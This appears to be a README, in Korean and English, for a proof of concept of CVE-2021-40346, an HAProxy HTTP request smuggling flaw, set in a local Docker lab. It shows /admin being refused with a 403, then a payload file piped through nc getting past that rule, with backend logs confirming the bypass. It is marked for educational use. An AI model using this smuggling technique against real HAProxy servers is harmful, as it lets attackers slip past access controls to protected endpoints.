
CVE-2021-40346 PoC (HAProxy HTTP 스머글링)
CVE-2021-40346 PoC (HAProxy HTTP Smuggling)
교육 목적으로만 사용하세요.
$ docker build -t cve-2021-40346 .
$ docker run --name poc -p 8000:80 -d --rm -it cve-2021-40346
4941e9f23508b497e4cbe334a75e7cdb84c83478522ed85f48db3477f97a6fb4
/admin이 거부되는지 확인합니다.
$ curl http://localhost:8000
hello
$ curl http://localhost:8000/admin
<html><body><h1>403 Forbidden</h1>
Request forbidden by administrative rules.
</body></html>
로그에는 /admin이 표시되지 않습니다. 이는 HAProxy가 요청을 거부했기 때문에 백엔드 서버에 도달하지 않았음을 의미합니다.
$ docker logs poc
server start at port 8000
/
그런 다음, payload.txt를 이용해 우회할 수 있는지 확인할 수 있습니다.
$ cat payload.txt | nc localhost 8000
HTTP/1.1 200 OK
content-type: text/plain
date: Wed, 08 Sep 2021 22:31:10 GMT
keep-alive: timeout=5
transfer-encoding: chunked
6
hello
0
로그에서 /admin을 볼 수 있습니다.
$ docker logs poc
server start at port 8000
/
/
/admin